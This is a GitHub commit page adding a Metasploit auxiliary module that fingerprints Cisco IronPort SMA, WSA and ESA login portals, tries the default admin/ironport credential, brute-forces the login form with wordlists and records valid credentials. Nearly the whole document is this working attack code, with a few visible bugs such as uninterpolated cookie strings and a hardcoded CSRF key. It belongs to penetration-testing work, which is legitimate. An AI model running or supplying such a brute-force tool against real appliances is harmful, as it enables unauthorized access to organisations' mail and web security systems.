Skip to content

Commit d526663

Browse files
committed
Add module to brute force the Cisco IronPort application
1 parent 163c135 commit d526663

File tree

1 file changed

+159
-0
lines changed

1 file changed

+159
-0
lines changed
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'rex/proto/http'
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::AuthBrute
16+
include Msf::Auxiliary::Scanner
17+
18+
def initialize(info={})
19+
super(update_info(info,
20+
'Name' => 'Cisco Ironport Bruteforce Login Utility',
21+
'Description' => %{
22+
This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
23+
version and performs login brute force to identify valid credentials.
24+
},
25+
'Author' =>
26+
[
27+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
28+
],
29+
'License' => MSF_LICENSE
30+
))
31+
32+
register_options(
33+
[
34+
Opt::RPORT(443),
35+
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
36+
OptString.new('TARGETURI', [true, "URI for Web login. Default: /login", "/login"])
37+
], self.class)
38+
end
39+
40+
def run_host(ip)
41+
unless is_app_ironport?
42+
print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
43+
return
44+
end
45+
46+
status = try_default_credential
47+
return if status == :abort
48+
49+
print_status("#{rhost}:#{rport} - Brute-forcing...")
50+
each_user_pass do |user, pass|
51+
do_login(user, pass)
52+
end
53+
end
54+
55+
#
56+
# What's the point of running this module if the app actually isn't Cisco Ironport?
57+
#
58+
59+
def is_app_ironport?
60+
res = send_request_cgi(
61+
{
62+
'uri' => '/',
63+
'method' => 'GET'
64+
})
65+
66+
if (res)
67+
cookie = res.headers['Set-Cookie'].split('; ')[0]
68+
end
69+
70+
res = send_request_cgi(
71+
{
72+
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
73+
'method' => 'GET',
74+
'cookie' => '#{cookie}'
75+
})
76+
77+
if (res and res.body.include?('Cisco IronPort AsyncOS'))
78+
version_key = /Cisco IronPort AsyncOS (.+? )/
79+
version = res.body.scan(version_key).flatten[0].gsub('"','')
80+
product_key = /for (.*)</
81+
product = res.body.scan(product_key).flatten[0]
82+
83+
if (product == 'Security Management Appliances')
84+
p_name = 'Cisco IronPort Security Management Appliance (SMA)'
85+
print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
86+
elsif ( product == 'Cisco IronPort Web Security Appliances' )
87+
p_name = 'Cisco IronPort Web Security Appliance (WSA)'
88+
print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
89+
elsif ( product == 'Cisco IronPort Appliances' )
90+
p_name = 'Cisco IronPort Email Security Appliance (ESA)'
91+
print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
92+
end
93+
94+
return true
95+
else
96+
return false
97+
end
98+
end
99+
100+
#
101+
# Test and see if the default credential works
102+
#
103+
104+
def try_default_credential
105+
user = 'admin'
106+
pass = 'ironport'
107+
vprint_status("#{rhost}:#{rport} - Trying default login...")
108+
do_login(user, pass)
109+
end
110+
111+
#
112+
# Brute-force the login page
113+
#
114+
115+
def do_login(user, pass)
116+
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
117+
begin
118+
res = send_request_cgi(
119+
{
120+
'uri' => '/login?CSRFKey=58ca8090-8fa1-4c07-9a87-65a7d4d4aa67',
121+
'method' => 'POST',
122+
'cookie' => '#{cookie_1}',
123+
'vars_post' =>
124+
{
125+
'action' => 'Login',
126+
'referrer' => '',
127+
'screen' => 'login',
128+
'username' => user,
129+
'password' => pass
130+
}
131+
})
132+
133+
if (res and res.headers['Set-Cookie'].include?('authenticated='))
134+
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
135+
136+
report_hash = {
137+
:host => rhost,
138+
:port => rport,
139+
:sname => '#{p_name}',
140+
:user => user,
141+
:pass => pass,
142+
:active => true,
143+
:type => 'password'
144+
}
145+
146+
report_auth_info(report_hash)
147+
return :next_user
148+
149+
else
150+
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
151+
end
152+
153+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
154+
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
155+
return :abort
156+
end
157+
end
158+
159+
end

0 commit comments

Comments
 (0)